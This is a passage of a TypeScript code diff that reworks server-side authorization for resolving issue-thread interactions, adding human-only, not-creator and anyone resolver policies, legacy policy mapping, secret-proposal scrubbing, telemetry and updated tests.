+  policy: IssueThreadInteractionCanonicalResolverPolicy;
+  /**
+   * A server-resolved identity excluded by the binding flow in addition to the
+   * interaction creator. `null` means the binding requires an identity but it
+   * could not be resolved, so the evaluator must fail closed.
+   */
+  excludedActor?: { type: "agent" | "user"; id: string } | null;
+  source?: "issue_review";
+};
+
+export type IssueThreadInteractionResolverAudienceInput = {
+  actor: IssueThreadInteractionResolverActor;
+  interaction: {
+    createdByAgentId?: string | null;
+    createdByUserId?: string | null;
+    sourceRunId?: string | null;
+    addresseeAgentId?: string | null;
+    effectiveResolverPolicy: IssueThreadInteractionResolverPolicy | string;
+    resolverPolicyProvenance?: string | null;
+  };
+  /**
+   * A server-derived restriction owned by a binding flow such as issue review.
+   * It may only narrow the interaction's persisted effective audience.
+   */
+  additionalRestriction?:
+    | IssueThreadInteractionCanonicalResolverPolicy
+    | IssueThreadInteractionResolverRestriction
+    | null;
+  governedAction?: boolean;
+};
+
+export type IssueThreadInteractionResolverAudienceDecision =
+  | {
+      allowed: true;
+      effectiveResolverPolicy: IssueThreadInteractionCanonicalResolverPolicy;
+      reason: "allow_anyone" | "allow_addressee" | "allow_human" | "allow_system" | "allow_human_override";
+    }
+  | {
+      allowed: false;
+      effectiveResolverPolicy: IssueThreadInteractionCanonicalResolverPolicy;
+      status: 403 | 422;
+      code: Extract<
+        IssueThreadInteractionResolutionDenialCode,
+        | "interaction_run_attribution_required"
+        | "interaction_human_only"
+        | "interaction_creator_excluded"
+        | "interaction_addressee_mismatch"
+        | "interaction_governed_action_denied"
+        | "review_policy_denied"
+      >;
+      message: string;
+      details?: Record<string, unknown>;
+    };
+
+/**
+ * Canonicalize one stored resolver-policy value.
+ *
+ * Before provenance existed, `board_or_agents` excluded both the creator agent
+ * and the creating run, so a pre-migration row must stay `not_creator` rather
+ * than widening to canonical `anyone`. Every reader of the stored columns —
+ * hydration, the audience evaluator, and the attention feed — goes through here
+ * so none of them can disagree about a legacy row.
+ */
+export function canonicalizeStoredResolverPolicy(
+  policy: IssueThreadInteractionResolverPolicy | string,
+  resolverPolicyProvenance: string | null | undefined,
+): IssueThreadInteractionCanonicalResolverPolicy {
+  if (resolverPolicyProvenance === "legacy_inherited_restriction" && policy === "board_or_agents") {
+    return "not_creator";
+  }
+  return normalizeIssueThreadInteractionResolverPolicy(policy as IssueThreadInteractionResolverPolicy);
+}
+
+function canonicalStoredPolicy(input: IssueThreadInteractionResolverAudienceInput["interaction"]) {
+  return canonicalizeStoredResolverPolicy(
+    input.effectiveResolverPolicy,
+    input.resolverPolicyProvenance,
+  );
+}
+
+function reviewRestrictionExcludesActor(
+  restriction: IssueThreadInteractionResolverRestriction | null | undefined,
+  actor: { type: "agent" | "user"; id: string },
+) {
+  return restriction?.policy === "not_creator"
+    && restriction.source === "issue_review"
+    && (
+      restriction.excludedActor === null
+      || (
+        restriction.excludedActor?.type === actor.type
+        && restriction.excludedActor.id === actor.id
+      )
+    );
+}
+
+function reviewPolicyDeniedDecision(
+  effectiveResolverPolicy: IssueThreadInteractionCanonicalResolverPolicy,
+  requesterKnown: boolean,
+): Extract<IssueThreadInteractionResolverAudienceDecision, { allowed: false }> {
+  return {
+    allowed: false,
+    effectiveResolverPolicy,
+    status: 403,
+    code: "review_policy_denied",
+    message: requesterKnown
+      ? "Review policy `not_creator` requires someone other than the writer who moved the issue into `in_review` to approve or reject it."
+      : "Review policy `not_creator` requires a different writer, but the review requester could not be determined.",
+    details: {
+      policy: "not_creator",
+      allowedActor: "writer_other_than_review_requester",
+      remediation: requesterKnown
+        ? "Have another writer with issue write access submit the verdict, or change reviewPolicy to `anyone`."
+        : "Change reviewPolicy to `anyone`, or move the issue out of and back into `in_review` to record a requester before another writer submits the verdict.",
+    },
+  };
+}
+
+/**
+ * The single pure audience evaluator for issue-thread interaction resolution.
+ * Resource access, run validation, containment, and current-target checks must
+ * happen before this evaluator. Mutation routes must re-run it at use time.
+ */
+export function evaluateIssueThreadInteractionResolverAudience(
+  input: IssueThreadInteractionResolverAudienceInput,
+): IssueThreadInteractionResolverAudienceDecision {
+  const persistedPolicy = canonicalStoredPolicy(input.interaction);
+  const additionalRestriction = typeof input.additionalRestriction === "string"
+    ? { policy: input.additionalRestriction }
+    : input.additionalRestriction;
+  // human_only and not_creator are independent constraints, not a linear
+  // severity scale: their intersection means "a human other than the
+  // creator." Keep both predicates even though the persisted public policy
+  // enum can only name one of them.
+  const creatorExcluded =
+    persistedPolicy === "not_creator"
+    || additionalRestriction?.policy === "not_creator";
+  const humanOnly =
+    Boolean(input.governedAction)
+    || persistedPolicy === "human_only"
+    || additionalRestriction?.policy === "human_only";
+  const effectiveResolverPolicy: IssueThreadInteractionCanonicalResolverPolicy = humanOnly
+    ? "human_only"
+    : creatorExcluded
+      ? "not_creator"
+      : "anyone";
+
+  if (input.actor.type === "system") {
+    return { allowed: true, effectiveResolverPolicy, reason: "allow_system" };
+  }
+
+  if (input.actor.type === "user") {
+    if (
+      creatorExcluded
+      && input.interaction.createdByUserId === input.actor.userId
+    ) {
+      return {
+        allowed: false,
+        effectiveResolverPolicy,
+        status: 403,
+        code: "interaction_creator_excluded",
+        message: "This issue-thread interaction requires a resolver other than its creator",
+      };
+    }
+    if (reviewRestrictionExcludesActor(additionalRestriction, {
+      type: "user",
+      id: input.actor.userId,
+    })) {
+      return reviewPolicyDeniedDecision(
+        effectiveResolverPolicy,
+        additionalRestriction?.excludedActor !== null,
+      );
+    }
+    return {
+      allowed: true,
+      effectiveResolverPolicy,
+      reason: input.interaction.addresseeAgentId ? "allow_human_override" : "allow_human",
+    };
+  }
+
+  if (!input.actor.agentId || !input.actor.runId?.trim()) {
+    return {
+      allowed: false,
+      effectiveResolverPolicy,
+      status: 422,
+      code: "interaction_run_attribution_required",
+      message: "A valid authenticated agent run is required to resolve this issue-thread interaction",
+    };
+  }
+
+  if (input.governedAction) {
+    return {
+      allowed: false,
+      effectiveResolverPolicy,
+      status: 403,
+      code: "interaction_governed_action_denied",
+      message: "This interaction is bound to a governed action that requires independent authorization",
+    };
+  }
+
+  if (effectiveResolverPolicy === "human_only") {
+    return {
+      allowed: false,
+      effectiveResolverPolicy,
+      status: 403,
+      code: "interaction_human_only",
+      message: "This issue-thread interaction is human-only",
+    };
+  }
+
+  if (
+    input.interaction.addresseeAgentId
+    && input.interaction.addresseeAgentId !== input.actor.agentId
+  ) {
+    return {
+      allowed: false,
+      effectiveResolverPolicy,
+      status: 403,
+      code: "interaction_addressee_mismatch",
+      message: "Only the addressed agent or an authorized human may resolve this issue-thread interaction",
+    };
+  }
+
+  if (
+    creatorExcluded
+    && (
+      input.interaction.createdByAgentId === input.actor.agentId
+      || (
+        Boolean(input.interaction.sourceRunId)
+        && input.interaction.sourceRunId === input.actor.runId
+      )
+    )
+  ) {
+    return {
+      allowed: false,
+      effectiveResolverPolicy,
+      status: 403,
+      code: "interaction_creator_excluded",
+      message: "This issue-thread interaction requires a resolver other than its creator or creating run",
+    };
+  }
+
+  if (reviewRestrictionExcludesActor(additionalRestriction, {
+    type: "agent",
+    id: input.actor.agentId,
+  })) {
+    return reviewPolicyDeniedDecision(
+      effectiveResolverPolicy,
+      additionalRestriction?.excludedActor !== null,
+    );
+  }
+
+  return {
+    allowed: true,
+    effectiveResolverPolicy,
+    reason: input.interaction.addresseeAgentId ? "allow_addressee" : "allow_anyone",
+  };
+}
+
+export function issueThreadInteractionResolutionError(
+  status: number,
+  code: IssueThreadInteractionResolutionDenialCode,
+  message: string,
+  details: Record<string, unknown> = {},
+) {
+  return new HttpError(status, message, { code, ...details });
+}
+
+export function assertIssueThreadInteractionResolverAudience(
+  input: IssueThreadInteractionResolverAudienceInput,
+) {
+  const decision = evaluateIssueThreadInteractionResolverAudience(input);
+  if (!decision.allowed) {
+    throw issueThreadInteractionResolutionError(
+      decision.status,
+      decision.code,
+      decision.message,
+      { effectiveResolverPolicy: decision.effectiveResolverPolicy, ...(decision.details ?? {}) },
+    );
+  }
+  return decision;
+}
+
+/**
+ * Resolves agent-owned attention with the same audience rules used by mutation
+ * routes. Run attribution is deliberately represented by the interaction's
+ * source run for the creator and by an opaque non-source run for other agents;
+ * the real run is still authenticated at mutation time.
+ */
+export function issueThreadInteractionAttentionAgentAllowed(input: {
+  agentId: string;
+  interaction: IssueThreadInteractionResolverAudienceInput["interaction"];
+  additionalRestriction?: IssueThreadInteractionResolverAudienceInput["additionalRestriction"];
+  governedAction?: boolean;
+}) {
+  const attentionRunId = input.interaction.createdByAgentId === input.agentId
+    ? input.interaction.sourceRunId ?? "attention-owner-creator-run"
+    : "attention-owner-non-source-run";
+  return evaluateIssueThreadInteractionResolverAudience({
+    actor: { type: "agent", agentId: input.agentId, runId: attentionRunId },
+    interaction: input.interaction,
+    additionalRestriction: input.additionalRestriction,
+    governedAction: input.governedAction,
+  }).allowed;
+}
diff --git a/server/src/services/issue-thread-interactions.test.ts b/server/src/services/issue-thread-interactions.test.ts
index 0c00964ffab..8bd8d628bc9 100644
--- a/server/src/services/issue-thread-interactions.test.ts
+++ b/server/src/services/issue-thread-interactions.test.ts
@@ -86,14 +86,15 @@ describe("issueThreadInteractionService", () => {
   });
 
   it.each([
-    ["ask_user_questions", undefined, {}, "board_or_agents", "board_or_agents"],
-    ["suggest_tasks", undefined, {}, "board_only", "board_only"],
-    ["request_confirmation", "board_or_agents", {}, "board_or_agents", "board_or_agents"],
-    ["request_checkbox_confirmation", undefined, { request_checkbox_confirmation: { defaultPolicy: "board_or_agents" } }, "board_or_agents", "board_or_agents"],
-    ["request_item_verdicts", "board_or_agents", { request_item_verdicts: { cap: "board_only" } }, "board_or_agents", "board_only"],
+    ["ask_user_questions", undefined, {}, "anyone", "anyone", "inherited", "requested"],
+    ["suggest_tasks", undefined, {}, "anyone", "anyone", "inherited", "requested"],
+    ["request_confirmation", "board_or_agents", {}, "anyone", "anyone", "explicit", "requested"],
+    ["request_confirmation", "board_only", {}, "human_only", "human_only", "explicit", "requested"],
+    ["request_checkbox_confirmation", undefined, { request_checkbox_confirmation: { defaultPolicy: "not_creator" } }, "not_creator", "not_creator", "inherited", "requested"],
+    ["request_item_verdicts", "anyone", { request_item_verdicts: { cap: "not_creator" } }, "anyone", "not_creator", "explicit", "company_cap"],
   ] as const)(
     "resolves %s requested/default/cap policy snapshots",
-    async (kind, requested, governance, expectedRequested, expectedEffective) => {
+    async (kind, requested, governance, expectedRequested, expectedEffective, expectedProvenance, expectedSource) => {
       const { resolveInteractionPolicy } = await import("./issue-thread-interactions.js");
       expect(resolveInteractionPolicy({
         kind,
@@ -103,11 +104,13 @@ describe("issueThreadInteractionService", () => {
       })).toEqual({
         requestedResolverPolicy: expectedRequested,
         effectiveResolverPolicy: expectedEffective,
+        resolverPolicyProvenance: expectedProvenance,
+        effectiveResolverPolicySource: expectedSource,
       });
     },
   );
 
-  it("always clamps tool-action confirmations to board-only", async () => {
+  it("always clamps tool-action confirmations to human-only", async () => {
     const { resolveInteractionPolicy } = await import("./issue-thread-interactions.js");
     expect(resolveInteractionPolicy({
       kind: "request_confirmation",
@@ -115,8 +118,10 @@ describe("issueThreadInteractionService", () => {
       governance: { request_confirmation: { defaultPolicy: "board_or_agents", cap: "board_or_agents" } },
       hasToolAction: true,
     })).toEqual({
-      requestedResolverPolicy: "board_or_agents",
-      effectiveResolverPolicy: "board_only",
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "human_only",
+      resolverPolicyProvenance: "explicit",
+      effectiveResolverPolicySource: "governed_action",
     });
   });
 
@@ -130,8 +135,10 @@ describe("issueThreadInteractionService", () => {
       kind: "suggest_tasks",
       status: "pending",
       continuationPolicy: "wake_assignee",
-      requestedResolverPolicy: "board_only",
-      effectiveResolverPolicy: "board_only",
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
+      resolverPolicyProvenance: "inherited",
+      effectiveResolverPolicySource: "requested",
       idempotencyKey: "run-1:suggest",
       sourceCommentId: null,
       sourceRunId: "22222222-2222-4222-8222-222222222222",
diff --git a/server/src/services/issue-thread-interactions.ts b/server/src/services/issue-thread-interactions.ts
index 11ffee195ee..13e4d78c5f7 100644
--- a/server/src/services/issue-thread-interactions.ts
+++ b/server/src/services/issue-thread-interactions.ts
@@ -3,6 +3,7 @@ import { and, asc, desc, eq, inArray, isNotNull, isNull, ne } from "drizzle-orm"
 import type { Db } from "@paperclipai/db";
 import {
   agents,
+  companySecretProposals,
   companies,
   documents,
   heartbeatRuns,
@@ -12,7 +13,7 @@ import {
   issues,
   toolActionRequests,
 } from "@paperclipai/db";
-import { trackInteractionResolved } from "@paperclipai/shared/telemetry";
+import { trackInteractionCreated, trackInteractionResolved } from "@paperclipai/shared/telemetry";
 import type {
   AcceptIssueThreadInteraction,
   AskUserQuestionsAnswer,
@@ -20,9 +21,13 @@ import type {
   CancelIssueThreadInteraction,
   CreateIssueThreadInteraction,
   InteractionResolverGovernance,
+  IssueReviewPolicy,
   IssueThreadInteraction,
+  IssueThreadInteractionCanonicalResolverPolicy,
+  IssueThreadInteractionEffectiveResolverPolicySource,
   IssueThreadInteractionKind,
   IssueThreadInteractionResolverPolicy,
+  IssueThreadInteractionResolverPolicyProvenance,
   RequestCheckboxConfirmationInteraction,
   RequestConfirmationInteraction,
   RequestConfirmationTarget,
@@ -42,6 +47,8 @@ import {
   askUserQuestionsResultSchema,
   cancelIssueThreadInteractionSchema,
   createIssueThreadInteractionSchema,
+  legacyIssueThreadInteractionResolverPolicyAlias,
+  normalizeIssueThreadInteractionResolverPolicy,
   rejectIssueThreadInteractionSchema,
   requestCheckboxConfirmationPayloadSchema,
   requestCheckboxConfirmationResultSchema,
@@ -59,7 +66,17 @@ import { conflict, forbidden, notFound, unprocessable } from "../errors.js";
 import { getTelemetryClient } from "../telemetry.js";
 import { logActivity } from "./activity-log.js";
 import { evaluateAgentInvokabilityFromDb } from "./agent-invokability.js";
+import {
+  assertIssueReviewVerdictActorAllowed,
+  isIssueReviewVerdictInteraction,
+} from "./issue-review-policy.js";
 import { issueService, runWorkspaceIsFinalized } from "./issues.js";
+import {
+  assertIssueThreadInteractionResolverAudience,
+  canonicalizeStoredResolverPolicy,
+  issueThreadInteractionResolutionError,
+  type IssueThreadInteractionResolverRestriction,
+} from "./issue-thread-interaction-resolution.js";
 import {
   createPullRequestMergeStateResolver,
   extractGitHubPullRequestReferences,
@@ -76,7 +93,11 @@ type InteractionActor = {
   runId?: string | null;
   userId?: string | null;
   systemId?: string | null;
-  reviewVerdictAuthorized?: boolean;
+  resolverPolicyRestriction?:
+    | IssueThreadInteractionCanonicalResolverPolicy
+    | IssueThreadInteractionResolverRestriction
+    | null;
+  suggestedTaskEffectsAuthorized?: boolean;
   resolutionDetails?: Record<string, unknown>;
 };
 
@@ -172,7 +193,7 @@ export function getMergeConfirmationPullRequestReferences(
   const payload = row.payload && typeof row.payload === "object" && !Array.isArray(row.payload)
     ? row.payload as unknown as Record<string, unknown>
     : null;
-  if (!payload || payload.toolAction !== undefined) return [];
+  if (!payload || payload.toolAction !== undefined || payload.secretProposal !== undefined) return [];
 
   const target = payload.target && typeof payload.target === "object" && !Array.isArray(payload.target)
     ? payload.target as Record<string, unknown>
@@ -222,12 +243,21 @@ type ResolvedInteractionResult = {
 type IssueThreadInteractionRow = typeof issueThreadInteractions.$inferSelect;
 type IssueTouchDb = Pick<Db, "update">;
 
-const DEFAULT_RESOLVER_POLICY_BY_KIND: Record<IssueThreadInteractionKind, IssueThreadInteractionResolverPolicy> = {
-  suggest_tasks: "board_only",
-  ask_user_questions: "board_or_agents",
-  request_confirmation: "board_only",
-  request_checkbox_confirmation: "board_only",
-  request_item_verdicts: "board_only",
+export const DEFAULT_RESOLVER_POLICY_BY_KIND: Record<
+  IssueThreadInteractionKind,
+  IssueThreadInteractionCanonicalResolverPolicy
+> = {
+  suggest_tasks: "anyone",
+  ask_user_questions: "anyone",
+  request_confirmation: "anyone",
+  request_checkbox_confirmation: "anyone",
+  request_item_verdicts: "anyone",
+};
+
+const RESOLVER_POLICY_RESTRICTION_RANK: Record<IssueThreadInteractionCanonicalResolverPolicy, number> = {
+  anyone: 0,
+  not_creator: 1,
+  human_only: 2,
 };
 
 export function resolveInteractionPolicy(args: {
@@ -235,49 +265,61 @@ export function resolveInteractionPolicy(args: {
   requested?: IssueThreadInteractionResolverPolicy;
   governance: InteractionResolverGovernance;
   hasToolAction: boolean;
+  hasSecretProposal?: boolean;
 }) {
   const kindGovernance = args.governance[args.kind];
-  const requestedResolverPolicy = args.requested
+  const requestedPolicyInput = args.requested
     ?? kindGovernance?.defaultPolicy
     ?? DEFAULT_RESOLVER_POLICY_BY_KIND[args.kind];
-  const effectiveResolverPolicy = args.hasToolAction || kindGovernance?.cap === "board_only"
-    ? "board_only"
-    : requestedResolverPolicy;
-  return { requestedResolverPolicy, effectiveResolverPolicy } as const;
+  const requestedResolverPolicy = normalizeIssueThreadInteractionResolverPolicy(requestedPolicyInput);
+  const resolverPolicyProvenance: IssueThreadInteractionResolverPolicyProvenance =
+    args.requested === undefined ? "inherited" : "explicit";
+
+  let effectiveResolverPolicy = requestedResolverPolicy;
+  let effectiveResolverPolicySource: IssueThreadInteractionEffectiveResolverPolicySource = "requested";
+  if (args.hasToolAction || args.hasSecretProposal) {
+    effectiveResolverPolicy = "human_only";
+    effectiveResolverPolicySource = "governed_action";
+  } else if (kindGovernance?.cap) {
+    const cap = normalizeIssueThreadInteractionResolverPolicy(kindGovernance.cap);
+    if (RESOLVER_POLICY_RESTRICTION_RANK[cap] > RESOLVER_POLICY_RESTRICTION_RANK[effectiveResolverPolicy]) {
+      effectiveResolverPolicy = cap;
+      effectiveResolverPolicySource = "company_cap";
+    }
+  }
+  return {
+    requestedResolverPolicy,
+    effectiveResolverPolicy,
+    resolverPolicyProvenance,
+    effectiveResolverPolicySource,
+  } as const;
 }
 
-function assertAgentResolutionAllowed(current: IssueThreadInteractionRow, actor: InteractionActor) {
-  if (!actor.agentId) return;
-  if (!actor.runId) throw forbidden("Agent run id required to resolve an issue-thread interaction");
-  if (
-    current.kind === "request_confirmation"
-    && current.payload
-    && typeof current.payload === "object"
-    && "toolAction" in current.payload
-    && current.payload.toolAction !== undefined
-  ) {
-    throw forbidden("Tool-action confirmations are always board-only");
+function resolverActor(actor: InteractionActor) {
+  if (actor.systemId) return { type: "system" as const, systemId: actor.systemId };
+  if (actor.agentId) {
+    return { type: "agent" as const, agentId: actor.agentId, runId: actor.runId };
   }
-  if (actor.reviewVerdictAuthorized && isRequestConfirmationLikeKind(current.kind)) {
-    assertAgentInteractionActorAllowed(current, actor);
-    return;
-  }
-  if (current.effectiveResolverPolicy !== "board_or_agents") {
-    throw forbidden("This issue-thread interaction is board-only");
-  }
-  assertAgentInteractionActorAllowed(current, actor);
+  if (actor.userId) return { type: "user" as const, userId: actor.userId };
+  // Missing principals must fail closed. Internal maintenance paths that are
+  // intentionally system-owned provide an explicit systemId.
+  return { type: "agent" as const, agentId: null, runId: null };
 }
 
-function assertAgentInteractionActorAllowed(current: IssueThreadInteractionRow, actor: InteractionActor) {
-  if (current.addresseeAgentId && current.addresseeAgentId !== actor.agentId) {
-    throw forbidden("Only the addressed agent or a board user may resolve this issue-thread interaction");
-  }
-  if (current.createdByAgentId === actor.agentId) {
-    throw forbidden("Agents cannot resolve interactions they created");
-  }
-  if (current.sourceRunId && current.sourceRunId === actor.runId) {
-    throw forbidden("Agents cannot resolve interactions created by the same run");
-  }
+function assertInteractionResolutionAllowed(current: IssueThreadInteractionRow, actor: InteractionActor) {
+  return assertIssueThreadInteractionResolverAudience({
+    actor: resolverActor(actor),
+    interaction: current,
+    additionalRestriction: actor.resolverPolicyRestriction,
+    governedAction:
+      current.kind === "request_confirmation"
+      && current.payload !== null
+      && typeof current.payload === "object"
+      && (
+        ("toolAction" in current.payload && current.payload.toolAction !== undefined)
+        || ("secretProposal" in current.payload && current.payload.secretProposal !== undefined)
+      ),
+  });
 }
 
 type IssueResolutionContext = {
@@ -286,8 +328,42 @@ type IssueResolutionContext = {
   status: string;
   assigneeAgentId: string | null;
   assigneeUserId: string | null;
+  reviewPolicy: IssueReviewPolicy | null;
+  createdByAgentId: string | null;
+  createdByUserId: string | null;
 };
 
+async function assertRequestConfirmationResolutionAllowedUnderLock(
+  tx: Db,
+  issue: IssueResolutionContext,
+  interaction: IssueThreadInteractionRow,
+  actor: InteractionActor,
+) {
+  if (isTerminalIssueStatus(issue.status)) {
+    throw conflict("Interaction is no longer actionable because the issue is closed");
+  }
+
+  const isReviewVerdict = issue.status === "in_review"
+    && isRequestConfirmationLikeKind(interaction.kind)
+    && await isIssueReviewVerdictInteraction(tx, { issue, interaction });
+
+  assertInteractionResolutionAllowed(interaction, actor);
+  if (!isReviewVerdict) return;
+
+  const verdictActor = actor.agentId
+    ? { type: "agent" as const, id: actor.agentId }
+    : actor.userId
+      ? { type: "user" as const, id: actor.userId }
+      : null;
+  if (!verdictActor) {
+    throw forbidden("A review verdict requires an authenticated agent or user");
+  }
+  await assertIssueReviewVerdictActorAllowed(tx, {
+    issue,
+    actor: verdictActor,
+  });
+}
+
 const REQUEST_CONFIRMATION_INTERACTION_KINDS = [
   "request_confirmation",
   "request_checkbox_confirmation",
@@ -384,15 +460,33 @@ function parseStoredInteractionResult<S extends z.ZodTypeAny>(
 function hydrateInteraction(
   row: IssueThreadInteractionRow,
 ): IssueThreadInteraction {
+  const storedRequestedResolverPolicy = row.requestedResolverPolicy as IssueThreadInteractionResolverPolicy;
+  const storedEffectiveResolverPolicy = row.effectiveResolverPolicy as IssueThreadInteractionResolverPolicy;
+  const resolverPolicyProvenance = row.resolverPolicyProvenance
+    ?? (storedRequestedResolverPolicy === "board_only" || storedRequestedResolverPolicy === "board_or_agents"
+      ? "legacy_inherited_restriction"
+      : "inherited");
+  const canonicalizeStoredPolicy = (
+    policy: IssueThreadInteractionResolverPolicy,
+  ): IssueThreadInteractionCanonicalResolverPolicy =>
+    canonicalizeStoredResolverPolicy(policy, resolverPolicyProvenance);
+  const requestedResolverPolicy = canonicalizeStoredPolicy(storedRequestedResolverPolicy);
+  const effectiveResolverPolicy = canonicalizeStoredPolicy(storedEffectiveResolverPolicy);
   const base = {
     ...row,
     idempotencyKey: row.idempotencyKey ?? null,
     addresseeAgentId: row.addresseeAgentId ?? null,
     status: row.status as IssueThreadInteraction["status"],
     continuationPolicy: row.continuationPolicy as IssueThreadInteraction["continuationPolicy"],
-    resolverPolicy: row.requestedResolverPolicy,
-    requestedResolverPolicy: row.requestedResolverPolicy,
-    effectiveResolverPolicy: row.effectiveResolverPolicy,
+    resolverPolicy: requestedResolverPolicy,
+    requestedResolverPolicy,
+    effectiveResolverPolicy,
+    resolverPolicyProvenance,
+    effectiveResolverPolicySource: row.effectiveResolverPolicySource ?? "requested",
+    legacyResolverPolicyAliases: {
+      requested: legacyIssueThreadInteractionResolverPolicyAlias(requestedResolverPolicy),
+      effective: legacyIssueThreadInteractionResolverPolicyAlias(effectiveResolverPolicy),
+    },
   };
 
   switch (row.kind) {
@@ -447,6 +541,52 @@ function isTerminalIssueStatus(status: string) {
   return status === "done" || status === "cancelled";
 }
 
+function interactionNotFoundError() {
+  return notFound("Interaction not found", { code: "interaction_not_found" });
+}
+
+function interactionIssueClosedError() {
+  return issueThreadInteractionResolutionError(
+    409,
+    "interaction_issue_closed",
+    "Interaction is no longer actionable because the issue is closed",
+  );
+}
+
+function interactionAlreadyResolvedError() {
+  return issueThreadInteractionResolutionError(
+    409,
+    "interaction_already_resolved",
+    "Interaction has already been resolved",
+  );
+}
+
+function interactionTerminalError(row: { status: string; result?: unknown }) {
+  const result = row.result && typeof row.result === "object" && !Array.isArray(row.result)
+    ? row.result as unknown as Record<string, unknown>
+    : null;
+  if (result?.outcome === "stale_target") {
+    return issueThreadInteractionResolutionError(
+      409,
+      "interaction_stale_target",
+      "Interaction target is stale",
+    );
+  }
+  if (result?.outcome === "superseded_by_comment" || result?.outcome === "superseded_by_newer_request") {
+    return issueThreadInteractionResolutionError(
+      409,
+      "interaction_superseded",
+      "Interaction has been superseded",
+    );
+  }
+  if (result?.outcome === "issue_closed") return interactionIssueClosedError();
+  return issueThreadInteractionResolutionError(
+    409,
+    "interaction_already_resolved",
+    "Interaction has already been resolved",
+  );
+}
+
 function shouldReturnAcceptedConfirmationToCreatorAgent(args: {
   issue: IssueResolutionContext;
   current: IssueThreadInteractionRow;
@@ -598,7 +738,20 @@ function buildAdministrativeOutcomeResult(
       items: interaction.result?.items ?? [],
     } satisfies RequestItemVerdictsResult;
   }
-  return { version: 1, outcome, reason } as const;
+  return {
+    version: 1,
+    outcome,
+    reason,
+    ...(linkedSecretProposalId(row)
+      ? {
+          secretProposal: {
+            version: 1,
+            status: outcome === "withdrawn" ? "withdrawn" : "expired",
+            updatedAt: new Date().toISOString(),
+          },
+        }
+      : {}),
+  } as const;
 }
 
 // Rollback sentinel: the interaction was resolved by another actor between the
@@ -641,6 +794,85 @@ async function resolveLinkedToolActionRequests(
     ));
 }
 
+function linkedSecretProposalId(interaction: Pick<IssueThreadInteractionRow, "kind" | "payload">) {
+  if (interaction.kind !== "request_confirmation") return null;
+  const payload = interaction.payload && typeof interaction.payload === "object" && !Array.isArray(interaction.payload)
+    ? interaction.payload as unknown as Record<string, unknown>
+    : null;
+  const secretProposal = payload?.secretProposal && typeof payload.secretProposal === "object" && !Array.isArray(payload.secretProposal)
+    ? payload.secretProposal as Record<string, unknown>
+    : null;
+  return typeof secretProposal?.proposalId === "string" ? secretProposal.proposalId : null;
+}
+
+async function lockLinkedSecretProposal(
+  db: Db,
+  interaction: Pick<IssueThreadInteractionRow, "id" | "companyId" | "kind" | "payload">,
+) {
+  const proposalId = linkedSecretProposalId(interaction);
+  if (!proposalId) return;
+  await db
+    .select({ id: companySecretProposals.id })
+    .from(companySecretProposals)
+    .where(and(
+      eq(companySecretProposals.id, proposalId),
+      eq(companySecretProposals.companyId, interaction.companyId),
+      eq(companySecretProposals.interactionId, interaction.id),
+    ))
+    .for("update");
+}
+
+async function resolveLinkedSecretProposal(
+  db: Db,
+  interaction: Pick<IssueThreadInteractionRow, "id" | "companyId" | "kind" | "payload">,
+  outcome: {
+    status: "rejected" | "withdrawn" | "expired";
+    actor: InteractionActor;
+    reason?: string | null;
+    now: Date;
+  },
+) {
+  const proposalId = linkedSecretProposalId(interaction);
+  if (!proposalId) return;
+  const [proposal] = await db
+    .update(companySecretProposals)
+    .set({
+      status: outcome.status,
+      resolvedByUserId: outcome.actor.userId ?? null,
+      resolvedAt: outcome.now,
+      resolutionReason: outcome.reason ?? null,
+      valueCiphertext: null,
+      ciphertextScrubbedAt: outcome.now,
+      updatedAt: outcome.now,
+    })
+    .where(and(
+      eq(companySecretProposals.id, proposalId),
+      eq(companySecretProposals.companyId, interaction.companyId),
+      eq(companySecretProposals.interactionId, interaction.id),
+      eq(companySecretProposals.status, "pending"),
+    ))
+    .returning();
+  if (!proposal) throw conflict("Linked secret proposal is no longer pending");
+  const actorType = outcome.actor.userId ? "user" as const : outcome.actor.agentId ? "agent" as const : "system" as const;
+  const actorId = outcome.actor.userId ?? outcome.actor.agentId ?? outcome.actor.systemId ?? "system";
+  await logActivity(db, {
+    companyId: interaction.companyId,
+    actorType,
+    actorId,
+    action: `secret.proposal.${outcome.status}`,
+    entityType: "company_secret_proposal",
+    entityId: proposal.id,
+    agentId: proposal.proposedByAgentId,
+    runId: proposal.originRunId,
+    details: {
+      ciphertextScrubbed: true,
+      issueId: proposal.originIssueId,
+      interactionId: interaction.id,
+      reason: outcome.reason ?? null,
+    },
+  });
+}
+
 function resolveActorKind(interaction: Pick<IssueThreadInteraction, "resolvedByAgentId" | "resolvedByUserId">) {
   if (interaction.resolvedByAgentId) return "agent";
   if (interaction.resolvedByUserId) return "user";
@@ -782,12 +1014,28 @@ async function emitInteractionResolvedTelemetry(
       ...buildInteractionResolvedCounts(interaction, {
         createdTaskCount: args?.createdTaskCount,
       }),
+      legacyInheritedRestriction:
+        interaction.resolverPolicyProvenance === "legacy_inherited_restriction",
     });
   } catch (error) {
     console.error("[paperclip] Failed to emit interaction.resolved telemetry", error);
   }
 }
 
+function emitInteractionCreatedTelemetry(args: {
+  interactionKind: IssueThreadInteractionKind;
+  usedDeprecatedResolverPolicyAlias: boolean;
+}) {
+  const telemetryClient = getTelemetryClient();
+  if (!telemetryClient) return;
+
+  try {
+    trackInteractionCreated(telemetryClient, args);
+  } catch (error) {
+    console.error("[paperclip] Failed to emit interaction.created telemetry", error);
+  }
+}
+
 async function emitResolvedInteractionsTelemetry(
   db: Pick<Db, "select">,
   interactions: readonly IssueThreadInteraction[],
@@ -846,7 +1094,7 @@ function buildTaskCreationOrder(tasks: ReadonlyArray<SuggestTasksInteraction["pa
   return ordered;
 }
 
-function resolveSelectedSuggestedTasks(args: {
+export function resolveSelectedSuggestedTasks(args: {
   interaction: SuggestTasksInteraction;
   selectedClientKeys?: AcceptIssueThreadInteraction["selectedClientKeys"];
 }) {
@@ -922,10 +1170,6 @@ function resolveRequestItemVerdictSubmissions(args: {
   actor: InteractionActor;
   now: Date;
 }) {
-  if (!args.actor.userId) {
-    throw unprocessable("request_item_verdicts submissions require a user actor");
-  }
-
   const existingItems = args.interaction.result?.items ?? [];
   const existingById = new Map(existingItems.map((item) => [item.id, item] as const));
   const payloadItemIds = new Set(args.interaction.payload.items.map((item) => item.id));
@@ -957,7 +1201,9 @@ function resolveRequestItemVerdictSubmissions(args: {
       id: submitted.id,
       verdict: submitted.verdict,
       ...(reason ? { reason } : {}),
-      resolvedByUserId: args.actor.userId,
+      ...(args.actor.userId ? { resolvedByUserId: args.actor.userId } : {}),
